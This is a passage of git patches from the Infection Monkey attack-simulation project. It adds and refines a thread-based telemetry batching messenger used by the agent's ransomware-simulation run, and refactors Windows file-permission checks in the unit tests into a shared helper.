a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -23,16 +23,6 @@ from infection_monkey.ransomware import ransomware_payload as ransomware_payload_module from infection_monkey.ransomware.ransomware_payload import EXTENSION, RansomewarePayload -from infection_monkey.telemetry.i_telem import ITelem -from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger - - -class TelemetryMessengerSpy(ITelemetryMessenger): - def __init__(self): - self.telemetries = [] - - def send_telemetry(self, telemetry: ITelem): - self.telemetries.append(telemetry) def with_extension(filename): @@ -46,11 +36,6 @@ def ransomware_payload_config(ransomware_target): } -@pytest.fixture -def telemetry_messenger_spy(): - return TelemetryMessengerSpy() - - @pytest.fixture def ransomware_payload(ransomware_payload_config, telemetry_messenger_spy): return RansomewarePayload(ransomware_payload_config, telemetry_messenger_spy) From fadd978050f3c63bba8b936221c2d2fd57c5785e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 27 Jun 2021 21:02:35 -0400 Subject: [PATCH 0932/1360] agent: Add BatchedTelemetryMessenger This telemetry messenger is a decorator that aggregates batchable telemetries and sends them to the island periodically. --- .../messengers/batched_telemetry_messenger.py | 82 +++++++++++ .../test_batched_telemetry_messenger.py | 127 ++++++++++++++++++ 2 files changed, 209 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/messengers/batched_telemetry_messenger.py create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batched_telemetry_messenger.py diff --git a/monkey/infection_monkey/telemetry/messengers/batched_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batched_telemetry_messenger.py new file mode 100644 index 00000000000..16551ef11f4 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/batched_telemetry_messenger.py @@ -0,0 +1,82 @@ +import queue +import threading +import time +from typing import Dict + +from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +WAKES_PER_PERIOD = 4 + + +class BatchedTelemetryMessenger(ITelemetryMessenger): + """ + An ITelemetryMessenger decorator that aggregates IBatchableTelem telemetries + and periodically sends them to Monkey Island. + """ + + def __init__(self, telemetry_messenger: ITelemetryMessenger, period=5): + self._telemetry_messenger = telemetry_messenger + self._period = period + + self._run_batch_thread = True + self._queue: queue.Queue[ITelem] = queue.Queue() + # TODO: Create a "timer" or "countdown" class and inject an object instead of + # using time.time() + self._last_sent_time = time.time() + self._telemetry_batches: Dict[str, IBatchableTelem] = {} + + self._manage_telemetry_batches_thread = threading.Thread( + target=self._manage_telemetry_batches + ) + self._manage_telemetry_batches_thread.start() + + def __del__(self): + self.stop() + + def stop(self): + self._run_batch_thread = False + self._manage_telemetry_batches_thread.join() + + def send_telemetry(self, telemetry: ITelem): + self._queue.put(telemetry) + + def _manage_telemetry_batches(self): + self._reset() + + while self._run_batch_thread: + try: + telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) + + if isinstance(telemetry, IBatchableTelem): + self._add_telemetry_to_batch(telemetry) + else: + self._telemetry_messenger.send_telemetry(telemetry) + except queue.Empty: + pass + + if self._period_elapsed(): + self._send_telemetry_batches() + self._reset() + + self._send_telemetry_batches() + + def _reset(self): + self._last_sent_time = time.time() + self._telemetry_batches = {} + + def _add_telemetry_to_batch(self, new_telemetry: IBatchableTelem): + telem_category = new_telemetry.telem_category + + if telem_category in self._telemetry_batches: + self._telemetry_batches[telem_category].add_telemetry_to_batch(new_telemetry) + else: + self._telemetry_batches[telem_category] = new_telemetry + + def _period_elapsed(self): + return (time.time() - self._last_sent_time) > self._period + + def _send_telemetry_batches(self): + for batchable_telemetry in self._telemetry_batches.values(): + self._telemetry_messenger.send_telemetry(batchable_telemetry) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batched_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batched_telemetry_messenger.py new file mode 100644 index 00000000000..84377ba7c43 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batched_telemetry_messenger.py @@ -0,0 +1,127 @@ +import time + +import pytest + +from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin +from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem +from infection_monkey.telemetry.messengers.batched_telemetry_messenger import ( + BatchedTelemetryMessenger, +) + +PERIOD = 0.001 + + +def release_GIL(): + time.sleep(PERIOD) + + +def advance_clock_to_next_period(monkeypatch): + patch_time(monkeypatch, time.time() + (PERIOD * 1.01)) + + +def patch_time(monkeypatch, new_time: float): + monkeypatch.setattr(time, "time", lambda: new_time) + + +class NonBatchableTelemStub(BaseTelem): + telem_category = "NonBatchableTelemStub" + + def send(self, log_data=True): + raise NotImplementedError + + def get_data(self) -> dict: + return {"1": {"i": "a", "ii": "b"}} + + def __eq__(self, other): + return self.get_data() == other.get_data() and self.telem_category == other.telem_category + + +class BatchableTelemStub(BatchableTelemMixin, BaseTelem, IBatchableTelem): + def __init__(self, value, telem_category="cat1"): + self._telemetry_entries.append(value) + self._telem_category = telem_category + + @property + def telem_category(self): + return self._telem_category + + def send(self, log_data=True): + raise NotImplementedError + + def get_data(self) -> dict: + return {"entries": self._telemetry_entries} + + +@pytest.fixture +def batched_telemetry_messenger(monkeypatch, telemetry_messenger_spy): + patch_time(monkeypatch, 0) + btm = BatchedTelemetryMessenger(telemetry_messenger_spy, period=0.001) + yield btm + + btm.stop() + + +def test_send_immediately(batched_telemetry_messenger, telemetry_messenger_spy): + telem = NonBatchableTelemStub() + + batched_telemetry_messenger.send_telemetry(telem) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 1 + assert telemetry_messenger_spy.telemetries[0] == telem + + +def test_send_telem_batch(monkeypatch, batched_telemetry_messenger, telemetry_messenger_spy): + expected_data = {"entries": [1, 2]} + telem1 = BatchableTelemStub(1) + telem2 = BatchableTelemStub(2) + + batched_telemetry_messenger.send_telemetry(telem1) + batched_telemetry_messenger.send_telemetry(telem2) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 0 + advance_clock_to_next_period(monkeypatch) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 1 + assert telemetry_messenger_spy.telemetries[0].get_data() == expected_data + + +def test_send_different_telem_types( + monkeypatch, batched_telemetry_messenger, telemetry_messenger_spy +): + telem1 = BatchableTelemStub(1, "cat1") + telem2 = BatchableTelemStub(2, "cat2") + + batched_telemetry_messenger.send_telemetry(telem1) + batched_telemetry_messenger.send_telemetry(telem2) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 0 + advance_clock_to_next_period(monkeypatch) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 2 + assert telemetry_messenger_spy.telemetries[0] == telem1 + assert telemetry_messenger_spy.telemetries[1] == telem2 + + +def test_send_two_batches(monkeypatch, batched_telemetry_messenger, telemetry_messenger_spy): + telem1 = BatchableTelemStub(1, "cat1") + telem2 = BatchableTelemStub(2, "cat1") + + batched_telemetry_messenger.send_telemetry(telem1) + advance_clock_to_next_period(monkeypatch) + release_GIL() + + batched_telemetry_messenger.send_telemetry(telem2) + release_GIL() + assert len(telemetry_messenger_spy.telemetries) == 1 + + advance_clock_to_next_period(monkeypatch) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 2 + assert telemetry_messenger_spy.telemetries[1] == telem2 From 85c91f55bb7782253ae203c5cdd4ae96c0c5ec83 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 06:52:33 -0400 Subject: [PATCH 0933/1360] agent: Use BatchingTelemetryMessenger in RansomewarePayload We don't want the ransomware payload to encrypt all files and then send telemetry to the island. This could lead to a long period of time where the user has no insight into what the monkey is doing on a node. We also don't want to flood the island with telemetries. By using the BatchingTelemetryMessenger, ransomware encryption telemetries are batched together and periodically sent to the island. --- monkey/infection_monkey/monkey.py | 10 ++++++- ...ger.py => batching_telemetry_messenger.py} | 2 +- ...y => test_batching_telemetry_messenger.py} | 30 +++++++++---------- 3 files changed, 25 insertions(+), 17 deletions(-) rename monkey/infection_monkey/telemetry/messengers/{batched_telemetry_messenger.py => batching_telemetry_messenger.py} (98%) rename monkey/tests/unit_tests/infection_monkey/telemetry/messengers/{test_batched_telemetry_messenger.py => test_batching_telemetry_messenger.py} (74%) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 845f754f7b1..506bc5db256 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -25,6 +25,9 @@ from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( + BatchingTelemetryMessenger, +) from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( LegacyTelemetryMessengerAdapter, ) @@ -471,6 +474,11 @@ def log_arguments(self): def run_ransomware(): try: telemetry_messenger = LegacyTelemetryMessengerAdapter() - RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload() + batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) + RansomewarePayload( + WormConfiguration.ransomware, batching_telemetry_messenger + ).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") + finally: + batching_telemetry_messenger.stop() diff --git a/monkey/infection_monkey/telemetry/messengers/batched_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py similarity index 98% rename from monkey/infection_monkey/telemetry/messengers/batched_telemetry_messenger.py rename to monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index 16551ef11f4..43fbf130605 100644 --- a/monkey/infection_monkey/telemetry/messengers/batched_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -10,7 +10,7 @@ WAKES_PER_PERIOD = 4 -class BatchedTelemetryMessenger(ITelemetryMessenger): +class BatchingTelemetryMessenger(ITelemetryMessenger): """ An ITelemetryMessenger decorator that aggregates IBatchableTelem telemetries and periodically sends them to Monkey Island. diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batched_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py similarity index 74% rename from monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batched_telemetry_messenger.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py index 84377ba7c43..58ee96d896d 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batched_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py @@ -5,8 +5,8 @@ from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem -from infection_monkey.telemetry.messengers.batched_telemetry_messenger import ( - BatchedTelemetryMessenger, +from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( + BatchingTelemetryMessenger, ) PERIOD = 0.001 @@ -54,31 +54,31 @@ def get_data(self) -> dict: @pytest.fixture -def batched_telemetry_messenger(monkeypatch, telemetry_messenger_spy): +def batching_telemetry_messenger(monkeypatch, telemetry_messenger_spy): patch_time(monkeypatch, 0) - btm = BatchedTelemetryMessenger(telemetry_messenger_spy, period=0.001) + btm = BatchingTelemetryMessenger(telemetry_messenger_spy, period=0.001) yield btm btm.stop() -def test_send_immediately(batched_telemetry_messenger, telemetry_messenger_spy): +def test_send_immediately(batching_telemetry_messenger, telemetry_messenger_spy): telem = NonBatchableTelemStub() - batched_telemetry_messenger.send_telemetry(telem) + batching_telemetry_messenger.send_telemetry(telem) release_GIL() assert len(telemetry_messenger_spy.telemetries) == 1 assert telemetry_messenger_spy.telemetries[0] == telem -def test_send_telem_batch(monkeypatch, batched_telemetry_messenger, telemetry_messenger_spy): +def test_send_telem_batch(monkeypatch, batching_telemetry_messenger, telemetry_messenger_spy): expected_data = {"entries": [1, 2]} telem1 = BatchableTelemStub(1) telem2 = BatchableTelemStub(2) - batched_telemetry_messenger.send_telemetry(telem1) - batched_telemetry_messenger.send_telemetry(telem2) + batching_telemetry_messenger.send_telemetry(telem1) + batching_telemetry_messenger.send_telemetry(telem2) release_GIL() assert len(telemetry_messenger_spy.telemetries) == 0 @@ -90,13 +90,13 @@ def test_send_telem_batch(monkeypatch, batched_telemetry_messenger, telemetry_me def test_send_different_telem_types( - monkeypatch, batched_telemetry_messenger, telemetry_messenger_spy + monkeypatch, batching_telemetry_messenger, telemetry_messenger_spy ): telem1 = BatchableTelemStub(1, "cat1") telem2 = BatchableTelemStub(2, "cat2") - batched_telemetry_messenger.send_telemetry(telem1) - batched_telemetry_messenger.send_telemetry(telem2) + batching_telemetry_messenger.send_telemetry(telem1) + batching_telemetry_messenger.send_telemetry(telem2) release_GIL() assert len(telemetry_messenger_spy.telemetries) == 0 @@ -108,15 +108,15 @@ def test_send_different_telem_types( assert telemetry_messenger_spy.telemetries[1] == telem2 -def test_send_two_batches(monkeypatch, batched_telemetry_messenger, telemetry_messenger_spy): +def test_send_two_batches(monkeypatch, batching_telemetry_messenger, telemetry_messenger_spy): telem1 = BatchableTelemStub(1, "cat1") telem2 = BatchableTelemStub(2, "cat1") - batched_telemetry_messenger.send_telemetry(telem1) + batching_telemetry_messenger.send_telemetry(telem1) advance_clock_to_next_period(monkeypatch) release_GIL() - batched_telemetry_messenger.send_telemetry(telem2) + batching_telemetry_messenger.send_telemetry(telem2) release_GIL() assert len(telemetry_messenger_spy.telemetries) == 1 From 3bea4bb86fb4cd2936346450dad98ac2dad93670 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 28 Jun 2021 20:21:02 +0530 Subject: [PATCH 0934/1360] tests: Refactor duplicate code for checking secure Windows permissions --- monkey/tests/monkey_island/utils.py | 34 +++++++++++++ .../cc/server_utils/test_file_utils.py | 48 ++----------------- .../cc/services/test_post_breach_files.py | 33 +------------ 3 files changed, 39 insertions(+), 76 deletions(-) create mode 100644 monkey/tests/monkey_island/utils.py diff --git a/monkey/tests/monkey_island/utils.py b/monkey/tests/monkey_island/utils.py new file mode 100644 index 00000000000..2ccd2c17816 --- /dev/null +++ b/monkey/tests/monkey_island/utils.py @@ -0,0 +1,34 @@ +from monkey_island.cc.server_utils.file_utils import is_windows_os + +if is_windows_os(): + import win32api + import win32security + + FULL_CONTROL = 2032127 + ACE_ACCESS_MODE_GRANT_ACCESS = win32security.GRANT_ACCESS + ACE_INHERIT_OBJECT_AND_CONTAINER = 3 + + +def _get_acl_and_sid_from_path(path: str): + sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + return acl, sid + +def assert_windows_permissions(path: str): + acl, user_sid = _get_acl_and_sid_from_path(path) + + assert acl.GetAceCount() == 1 + + ace = acl.GetExplicitEntriesFromAcl()[0] + + ace_access_mode = ace["AccessMode"] + ace_permissions = ace["AccessPermissions"] + ace_inheritance = ace["Inheritance"] + ace_sid = ace["Trustee"]["Identifier"] + + assert ace_sid == user_sid + assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS + assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 9a9ada29d8e..444e2ca17dd 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -2,6 +2,7 @@ import stat import pytest +from tests.monkey_island.utils import assert_windows_permissions from monkey_island.cc.server_utils.file_utils import ( create_secure_directory, @@ -10,14 +11,6 @@ open_new_securely_permissioned_file, ) -if is_windows_os(): - import win32api - import win32security - - FULL_CONTROL = 2032127 - ACE_ACCESS_MODE_GRANT_ACCESS = win32security.GRANT_ACCESS - ACE_INHERIT_OBJECT_AND_CONTAINER = 3 - def test_expand_user(patched_home_env): input_path = os.path.join("~", "test") @@ -47,15 +40,6 @@ def test_path(tmpdir): return path -def _get_acl_and_sid_from_path(path: str): - sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - security_descriptor = win32security.GetNamedSecurityInfo( - path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) - acl = security_descriptor.GetSecurityDescriptorDacl() - return acl, sid - - def test_create_secure_directory__already_exists(test_path): os.mkdir(test_path) assert os.path.isdir(test_path) @@ -82,20 +66,7 @@ def test_create_secure_directory__perm_linux(test_path): def test_create_secure_directory__perm_windows(test_path): create_secure_directory(test_path) - acl, user_sid = _get_acl_and_sid_from_path(test_path) - - assert acl.GetAceCount() == 1 - - ace = acl.GetExplicitEntriesFromAcl()[0] - - ace_access_mode = ace["AccessMode"] - ace_permissions = ace["AccessPermissions"] - ace_inheritance = ace["Inheritance"] - ace_sid = ace["Trustee"]["Identifier"] - - assert ace_sid == user_sid - assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS - assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER + assert_windows_permissions(test_path) def test_open_new_securely_permissioned_file__already_exists(test_path): @@ -131,20 +102,7 @@ def test_open_new_securely_permissioned_file__perm_windows(test_path): with open_new_securely_permissioned_file(test_path): pass - acl, user_sid = _get_acl_and_sid_from_path(test_path) - - assert acl.GetAceCount() == 1 - - ace = acl.GetExplicitEntriesFromAcl()[0] - - ace_access_mode = ace["AccessMode"] - ace_permissions = ace["AccessPermissions"] - ace_inheritance = ace["Inheritance"] - ace_sid = ace["Trustee"]["Identifier"] - - assert ace_sid == user_sid - assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS - assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER + assert_windows_permissions(test_path) def test_open_new_securely_permissioned_file__write(test_path): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py index cc21bd97a1a..5a2ddaa17c4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py @@ -1,18 +1,11 @@ import os import pytest +from tests.monkey_island.utils import assert_windows_permissions from monkey_island.cc.server_utils.file_utils import is_windows_os from monkey_island.cc.services.post_breach_files import PostBreachFilesService -if is_windows_os(): - import win32api - import win32security - - FULL_CONTROL = 2032127 - ACE_ACCESS_MODE_GRANT_ACCESS = win32security.GRANT_ACCESS - ACE_INHERIT_OBJECT_AND_CONTAINER = 3 - def raise_(ex): raise ex @@ -48,33 +41,11 @@ def test_custom_pba_dir_permissions_linux(): assert st.st_mode == 0o40700 -def _get_acl_and_sid_from_path(path: str): - sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - security_descriptor = win32security.GetNamedSecurityInfo( - path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) - acl = security_descriptor.GetSecurityDescriptorDacl() - return acl, sid - - @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_custom_pba_dir_permissions_windows(): pba_dir = PostBreachFilesService.get_custom_pba_directory() - acl, user_sid = _get_acl_and_sid_from_path(pba_dir) - - assert acl.GetAceCount() == 1 - - ace = acl.GetExplicitEntriesFromAcl()[0] - - ace_access_mode = ace["AccessMode"] - ace_permissions = ace["AccessPermissions"] - ace_inheritance = ace["Inheritance"] - ace_sid = ace["Trustee"]["Identifier"] - - assert ace_sid == user_sid - assert ace_permissions == FULL_CONTROL and ace_access_mode == ACE_ACCESS_MODE_GRANT_ACCESS - assert ace_inheritance == ACE_INHERIT_OBJECT_AND_CONTAINER + assert_windows_permissions(pba_dir) def test_remove_failure(monkeypatch): From 13c9e41a4c71d6da0b1d6337b12fb53b7b034b0e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 11:15:46 -0400 Subject: [PATCH 0935/1360] agent: Extract default period to constant --- .../telemetry/messengers/batching_telemetry_messenger.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index 43fbf130605..c170a0ef088 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -7,6 +7,7 @@ from infection_monkey.telemetry.i_telem import ITelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +DEFAULT_PERIOD = 5 WAKES_PER_PERIOD = 4 @@ -16,7 +17,7 @@ class BatchingTelemetryMessenger(ITelemetryMessenger): and periodically sends them to Monkey Island. """ - def __init__(self, telemetry_messenger: ITelemetryMessenger, period=5): + def __init__(self, telemetry_messenger: ITelemetryMessenger, period=DEFAULT_PERIOD): self._telemetry_messenger = telemetry_messenger self._period = period From be6e76757d8ebc28acc0685fee560c64540cf371 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 11:25:13 -0400 Subject: [PATCH 0936/1360] agent: Move telemetry messenger construction out of "try" --- monkey/infection_monkey/monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 506bc5db256..28e59c616ab 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -472,9 +472,9 @@ def log_arguments(self): @staticmethod def run_ransomware(): + telemetry_messenger = LegacyTelemetryMessengerAdapter() + batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) try: - telemetry_messenger = LegacyTelemetryMessengerAdapter() - batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) RansomewarePayload( WormConfiguration.ransomware, batching_telemetry_messenger ).run_payload() From 0a9c98f06184b73b08378ded1ca9954bd20968a2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 11:33:06 -0400 Subject: [PATCH 0937/1360] agent: Rename _run_batch_thread -> _should_run_batch_thread --- .../telemetry/messengers/batching_telemetry_messenger.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index c170a0ef088..6596e89e776 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -21,7 +21,7 @@ def __init__(self, telemetry_messenger: ITelemetryMessenger, period=DEFAULT_PERI self._telemetry_messenger = telemetry_messenger self._period = period - self._run_batch_thread = True + self._should_run_batch_thread = True self._queue: queue.Queue[ITelem] = queue.Queue() # TODO: Create a "timer" or "countdown" class and inject an object instead of # using time.time() @@ -37,7 +37,7 @@ def __del__(self): self.stop() def stop(self): - self._run_batch_thread = False + self._should_run_batch_thread = False self._manage_telemetry_batches_thread.join() def send_telemetry(self, telemetry: ITelem): @@ -46,7 +46,7 @@ def send_telemetry(self, telemetry: ITelem): def _manage_telemetry_batches(self): self._reset() - while self._run_batch_thread: + while self._should_run_batch_thread: try: telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) From 1d066c8e6da23d4d8c092fb7a2a2d5d26816abf6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 12:05:57 -0400 Subject: [PATCH 0938/1360] agent: Add explicit start to BatchingTelemetryMessenger My original plan was to start a thread in __init__() and stop the thread when __del__() was called. Since the running thread (object) contains a reference to the BatchingTelemetryMessenger object that launched it, the destructor will not be called until the thread is stopped. Therefore, a stop() was added to allow the BatchingTelemetryMessenger to be stopped. Since it has an explicit stop, it should also have an explicit start, rather than starting the thread in the constructor. --- monkey/infection_monkey/monkey.py | 1 + .../telemetry/messengers/batching_telemetry_messenger.py | 8 +++++--- .../messengers/test_batching_telemetry_messenger.py | 1 + 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 28e59c616ab..bd9062eebc7 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -474,6 +474,7 @@ def log_arguments(self): def run_ransomware(): telemetry_messenger = LegacyTelemetryMessengerAdapter() batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) + batching_telemetry_messenger.start() try: RansomewarePayload( WormConfiguration.ransomware, batching_telemetry_messenger diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index 6596e89e776..f5f21a76064 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -28,14 +28,16 @@ def __init__(self, telemetry_messenger: ITelemetryMessenger, period=DEFAULT_PERI self._last_sent_time = time.time() self._telemetry_batches: Dict[str, IBatchableTelem] = {} + def __del__(self): + self.stop() + + def start(self): + self._should_run_batch_thread = True self._manage_telemetry_batches_thread = threading.Thread( target=self._manage_telemetry_batches ) self._manage_telemetry_batches_thread.start() - def __del__(self): - self.stop() - def stop(self): self._should_run_batch_thread = False self._manage_telemetry_batches_thread.join() diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py index 58ee96d896d..65eebc5828f 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py @@ -57,6 +57,7 @@ def get_data(self) -> dict: def batching_telemetry_messenger(monkeypatch, telemetry_messenger_spy): patch_time(monkeypatch, 0) btm = BatchingTelemetryMessenger(telemetry_messenger_spy, period=0.001) + btm.start() yield btm btm.stop() From 2f62a14fbf4c56e66448454bffd04d7e925fb8a8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 12:21:57 -0400 Subject: [PATCH 0939/1360] agent: Remove start/stop from BatchingTelemetryMessenger My original plan was to start a thread in __init__() and stop the thread when __del__() was called. Since the running thread (object) contains a reference to the BatchingTelemetryMessenger object that launched it, the destructor will not be called until the thread is stopped. This resulted in adding a stop() method (fadd978) followed by adding a start() method (1d066c8e). By using an inner class to run the thread, we enable the class to be used as originally intended, reducing the burden on the user of this class. The thread is now started on construction and stopped on destruction. The user can remain blissfully unaware that anything resembling threading is going in, and can use the BatchingTelemetryMessenger just like any other ITelemetryMessenger. --- monkey/infection_monkey/monkey.py | 4 +- .../batching_telemetry_messenger.py | 125 ++++++++++-------- .../test_batching_telemetry_messenger.py | 6 +- 3 files changed, 69 insertions(+), 66 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index bd9062eebc7..622c17d7dc7 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -474,12 +474,10 @@ def log_arguments(self): def run_ransomware(): telemetry_messenger = LegacyTelemetryMessengerAdapter() batching_telemetry_messenger = BatchingTelemetryMessenger(telemetry_messenger) - batching_telemetry_messenger.start() + try: RansomewarePayload( WormConfiguration.ransomware, batching_telemetry_messenger ).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") - finally: - batching_telemetry_messenger.stop() diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index f5f21a76064..9541d34d170 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -18,68 +18,77 @@ class BatchingTelemetryMessenger(ITelemetryMessenger): """ def __init__(self, telemetry_messenger: ITelemetryMessenger, period=DEFAULT_PERIOD): - self._telemetry_messenger = telemetry_messenger - self._period = period - - self._should_run_batch_thread = True self._queue: queue.Queue[ITelem] = queue.Queue() - # TODO: Create a "timer" or "countdown" class and inject an object instead of - # using time.time() - self._last_sent_time = time.time() - self._telemetry_batches: Dict[str, IBatchableTelem] = {} - - def __del__(self): - self.stop() - - def start(self): - self._should_run_batch_thread = True - self._manage_telemetry_batches_thread = threading.Thread( - target=self._manage_telemetry_batches + self._thread = BatchingTelemetryMessenger._BatchingTelemetryMessengerThread( + self._queue, telemetry_messenger, period ) - self._manage_telemetry_batches_thread.start() - def stop(self): - self._should_run_batch_thread = False - self._manage_telemetry_batches_thread.join() + self._thread.start() + + def __del__(self): + self._thread.stop() def send_telemetry(self, telemetry: ITelem): self._queue.put(telemetry) - def _manage_telemetry_batches(self): - self._reset() - - while self._should_run_batch_thread: 